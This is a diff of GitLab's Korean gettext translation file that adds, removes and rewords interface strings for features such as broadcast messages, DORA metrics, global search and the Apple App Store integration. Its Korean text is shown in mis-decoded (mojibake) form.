@@ -3202,6 +3238,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr "CI/CD 할당량(분)"
@@ -3460,6 +3499,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4102,9 +4144,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr "그룹 경로를 확ì¸í•˜ëŠ” ë„중 ì—러가 ë°œìƒí–ˆìŠµë‹ˆë‹¤. 새로고침 후 다시 ì‹œë„하십시오."
@@ -4273,15 +4312,6 @@ msgstr "머지 리퀘스트를 불러오는 ë„중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤.
msgid "An error occurred while loading projects."
msgstr "프로ì íŠ¸ë¥¼ 불러오는 ë„중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
-msgid "An error occurred while loading the Jobs tab."
-msgstr "ìž‘ì—… íƒ­ì„ ë¡œë“œí•˜ëŠ” ë™ì•ˆ 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr "Blob ì»¨íŠ¸ë¡¤ì„ ë¡œë“œí•˜ëŠ” ë™ì•ˆ 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
@@ -4315,9 +4345,6 @@ msgstr "머지 리퀘스트를 불러오는 ë„중 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "파ì´í”„ ë¼ì¸ ìž‘ì—…ì„ ë¶ˆëŸ¬ì˜¤ëŠ” ë„중 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
@@ -4568,6 +4595,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "어플리케ì´ì…˜"
@@ -4708,9 +4747,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4799,6 +4835,9 @@ msgstr "제안 ì ìš© 중..."
msgid "Applying suggestions..."
msgstr "제안 ì ìš© 중..."
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "ìŠ¹ì¸ ê·œì¹™"
@@ -4935,6 +4974,9 @@ msgstr "ì»¤ë°‹ì´ ì¶”ê°€ë  ë•Œ:"
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5482,6 +5524,9 @@ msgstr "편집 취소"
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr "ì‚¬ìš©ìž ì •ì˜ HTTP í—¤ë”(옵션)"
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5497,12 +5542,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr "%{link} 편집"
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr "í—¤ë”"
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr "최대 %{number} ê°œì˜ HTTP í—¤ë”ì— ë„달했습니다."
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr "ì‚¬ìš©ìž ì •ì˜ í—¤ë” ì œê±°"
@@ -7070,9 +7121,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr "디렉토리 찾아보기"
@@ -7668,6 +7803,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7779,13 +7917,10 @@ msgstr "비밀번호 변경"
msgid "Change your password or recover your current one"
msgstr "비밀번호 변경 ë˜ëŠ” 비밀번호 복구"
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr "리뷰어가 %{old} ì—ì„œ %{new}ë¡œ 변경 ë˜ì—ˆìŠµë‹ˆë‹¤."
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
-msgstr "리뷰어가 %{new} ë¡œ 변경 ë˜ì—ˆìŠµë‹ˆë‹¤."
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
+msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8066,6 +8201,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8225,12 +8363,6 @@ msgstr "하위"
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr "하위 ì—í”½ì´ ì¡´ìž¬í•˜ì§€ 않습니다."
-
-msgid "Child epic doesn't exist."
-msgstr "하위 ì—í”½ì´ ì¡´ìž¬í•˜ì§€ 않습니다."
-
msgid "Child issues and epics"
msgstr ""
@@ -8414,6 +8546,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8538,6 +8673,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr "í´ë¦­í•˜ì—¬ 확장하십시오."
@@ -8640,12 +8778,18 @@ msgstr "닫힌 ì´ìŠˆ"
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr "닫힘 : %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9310,21 +9454,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab 통합"
@@ -9812,6 +9941,9 @@ msgstr "ê´€ë ¨ëœ ë¨¸ì§€ 리퀘스트(MR)ê°€ 없습니다."
msgid "Committed by"
msgstr "커밋한 사용ìž"
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr "커뮤니티 í¬ëŸ¼"
@@ -10700,6 +10832,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr "ë‹¤ìŒ ë‹¨ê³„ë¡œ 진행"
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr "지ì†ì  통합 ë° ë°°í¬"
@@ -11093,6 +11228,9 @@ msgstr ""
msgid "Country"
msgstr "êµ­ê°€"
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -11988,6 +12126,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12012,6 +12153,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12024,7 +12168,10 @@ msgstr "DORA4Metrics|실패율(í¼ì„¼íŠ¸) 변경"
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12045,6 +12192,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12066,6 +12219,12 @@ msgstr "DORA4Metrics|중간값 시간(지난 %{days}ì¼)"
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr "DORA4Metrics|주어진 기간 ë™ì•ˆ 프로ë•ì…˜ 환경ì—ì„œ ì¸ì‹œë˜íŠ¸ê°€ ì—´ë ¤ìžˆì—ˆë˜ ì‹œê°„ì˜ ì¤‘ê°„ê°’ìž…ë‹ˆë‹¤."
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12084,6 +12243,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr "DORA4Metrics|주어진 기간 ë™ì•ˆ ì¸ì‹œë˜íŠ¸ 수를 프로ë•ì…˜ í™˜ê²½ì— ëŒ€í•œ ë°°í¬ ìˆ˜ë¡œ 나눈 ê°’ 입니다."
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr "DORA4Metrics|ë°°í¬ì— 실패한 비율"
@@ -12105,6 +12273,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12114,6 +12288,9 @@ msgstr "DORA4Metrics|서비스 ë³µì› ì‹œê°„"
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr "DORA4Metrics|서비스 ë³µì› ì‹œê°„ (median days)"
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12129,9 +12306,6 @@ msgstr "모든"
msgid "DashboardProjects|Personal"
msgstr "ê°œì¸"
-msgid "DashboardProjects|Trending"
-msgstr "ì¸ê¸°"
-
msgid "Dashboards"
msgstr "대시보드"
@@ -13048,11 +13222,9 @@ msgstr "삭제 방지"
msgid "DeletionSettings|Keep deleted"
msgstr "ì‚­ì œëœ ìƒíƒœë¡œ 유지"
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr "ì‚­ì œëœ í”„ë¡œì íŠ¸ë¥¼ %{number} ì¼ ë™ì•ˆ ë³´ê´€"
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr "하루 ë™ì•ˆ ì‚­ì œëœ í”„ë¡œì íŠ¸ 유지"
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
msgid "DeletionSettings|None, delete immediately"
msgstr "ì—†ìŒ, 즉시 ì‚­ì œ"
@@ -13114,6 +13286,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13492,9 +13667,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr "ë°°í¬ ë¹ˆë„"
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13510,6 +13691,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13592,6 +13779,12 @@ msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr "API"
@@ -13860,7 +14053,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14085,6 +14278,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14572,6 +14768,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15769,10 +15968,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15781,9 +15977,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16280,9 +16473,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr "만료 %{preposition} %{expires_at}"
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16316,9 +16506,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr "주제별 둘러보기"
-
msgid "Export"
msgstr ""
@@ -16636,9 +16823,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17063,9 +17247,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17384,18 +17565,15 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "Format: %{dateFormat}"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
-msgstr ".gitlab-ci.ymlì—ì„œ 오류를 발견했습니다:"
-
msgid "Framework successfully deleted"
msgstr ""
@@ -17490,6 +17668,9 @@ msgstr ""
msgid "GPG Keys"
msgstr "GPG 키"
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18146,9 +18327,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18561,6 +18739,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr "글로벌 알림 수준"
@@ -18573,6 +18754,12 @@ msgstr "%{search} %{description} %{scope}"
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr "%{count}ê°œì˜ ê¸°ë³¸ 결과가 제공ë˜ì—ˆìŠµë‹ˆë‹¤. 위/아래 화살표 키를 사용하여 검색 결과를 íƒìƒ‰í•˜ì„¸ìš”."
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr "그룹"
@@ -18597,6 +18784,9 @@ msgstr "나ì—게 í• ë‹¹ëœ ë¨¸ì§€ 리퀘스트"
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr "ë‚´ê°€ 검토ìžì¸ 머지 리퀘스트"
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr "프로ì íŠ¸"
@@ -18615,6 +18805,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr "결과가 ì—…ë°ì´íŠ¸ë˜ì—ˆìŠµë‹ˆë‹¤. %{count}ê°œì˜ ê²°ê³¼ë¥¼ 사용할 수 있습니다. 위/아래 화살표 키를 사용하여 검색 결과를 íƒìƒ‰í•˜ê±°ë‚˜ 엔터 키를 눌러 제출하세요."
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr "GitLab 검색"
@@ -18627,9 +18820,15 @@ msgstr "검색 결과가 로드 중입니다."
msgid "GlobalSearch|Settings"
msgstr "GlobalSearch|설정"
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr "검색 ìžë™ 완성 ì œì•ˆì„ ê°€ì ¸ì˜¤ëŠ” ë™ì•ˆ 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr "입력하고 엔터 키를 눌러 검색하세요."
@@ -18954,6 +19153,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19116,7 +19321,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19599,9 +19804,15 @@ msgstr "GroupsEmptyState|ê·¸ë£¹ì€ ì—¬ëŸ¬ 프로ì íŠ¸ì™€ 구성ì›ì„ 관리하
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr "프로ì íŠ¸ë¥¼ ê·¸ë£¹ì— êµ¬ì„±í•˜ë©´, 마치 í´ë”처럼 ë™ìž‘합니다."
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr "ê·¸ë£¹ì´ ì—†ìŠµë‹ˆë‹¤."
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr "GroupsEmptyState|하위 그룹ì´ë‚˜ 프로ì íŠ¸ê°€ 없습니다."
@@ -19656,6 +19867,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19665,6 +19879,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19674,6 +19894,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19791,6 +20014,9 @@ msgstr "HAR íŒŒì¼ URL"
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20098,6 +20324,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20512,9 +20744,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr "ì˜µì…˜ì´ ìž‘ë™í•˜ì§€ 않으면 GitLab 관리ìžì—게 문ì˜í•˜ì‹­ì‹œì˜¤."
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20536,6 +20765,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20754,12 +20986,24 @@ msgstr "고급 가져오기 설정"
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -21817,7 +22061,7 @@ msgstr "ì¸ì‚¬ì´íŠ¸"
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr "월별로 ì´ìŠˆ, 버그 ë° ë¨¸ì§€ ë¦¬í€˜ìŠ¤íŠ¸ì˜ ì´ëŸ‰ê³¼ ê°™ì€ ê·¸ë£¹ 프로세스를 검토를 í•  수 있는 ì‚¬ìš©ìž í†µí•© 보고서를 구성합니다. %{linkStart}통합 보고서는 어떻게 구성합니까?%{linkEnd}"
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -21878,9 +22122,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22031,6 +22284,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr "Jiraì—ì„œ ìƒì„±ëœ ì´ìŠˆëŠ” Jiraì˜ í”„ë¡œì íŠ¸ 설정ì—ì„œ ì´ìŠˆë¥¼ ìƒì„±í•˜ë©´ ì—¬ê¸°ì— í‘œì‹œë©ë‹ˆë‹¤."
@@ -23232,6 +23488,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23280,6 +23539,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23424,9 +23686,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23742,9 +24001,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr "Kubernetes í´ëŸ¬ìŠ¤í„° ìƒì„± ì‹œê°„ì´ ì´ˆê³¼ë˜ì—ˆìŠµë‹ˆë‹¤. %{timeout}"
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -23903,9 +24159,6 @@ msgstr "최근 파ì´í”„ë¼ì¸"
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24038,6 +24291,9 @@ msgstr ""
msgid "Learn More."
msgstr "ë” ì•Œì•„ë³´ê¸°."
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
